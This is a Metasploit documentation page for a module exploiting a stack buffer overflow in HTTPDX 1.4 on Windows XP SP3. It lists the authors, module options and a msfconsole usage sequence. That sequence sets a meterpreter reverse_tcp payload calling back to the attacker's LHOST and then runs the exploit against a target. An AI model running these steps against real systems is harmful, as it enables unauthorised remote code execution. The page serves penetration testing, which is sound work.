Metasploit Penetration Testing Framework
HTTPDX h_handlepeer() Function Buffer Overflow
This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp. By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
Rank
Authors
- Pankaj Kohli < pankaj208 [at] gmail.com >
- Trancer < mtrancer [at] gmail.com >
- jduck < jduck [at] metasploit.com >
References
Exploit Targets
- 0 - httpdx 1.4 - Windows XP SP3 English (default)
Development
Similar Modules
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/http/httpdx_handlepeer
msf exploit(httpdx_handlepeer) > show payloads
msf exploit(httpdx_handlepeer) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(httpdx_handlepeer) > set LHOST [MY IP ADDRESS]
msf exploit(httpdx_handlepeer) > set RHOST [TARGET IP]
msf exploit(httpdx_handlepeer) > exploit
Module Options
| RHOST |
The target address |
| RPORT |
The target port (default: 80) |
| CHOST |
The local client address |
| CPORT |
The local client port |
| ConnectTimeout |
Maximum number of seconds to establish a TCP connection |
| ContextInformationFile |
The information file that contains context information |
| DisablePayloadHandler |
Disable the handler code for the selected payload |
| DynamicSehRecord |
Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding |
Use transient context when encoding payloads |
| Proxies |
Use a proxy chain |
| SSL |
Negotiate SSL for outgoing connections |
| SSLVersion |
Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| WORKSPACE |
Specify the workspace for this module |
| WfsDelay |
Additional delay when waiting for a session |
| TCP::max_send_size |
Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay |
Delays inserted before every send. (0 = disable) |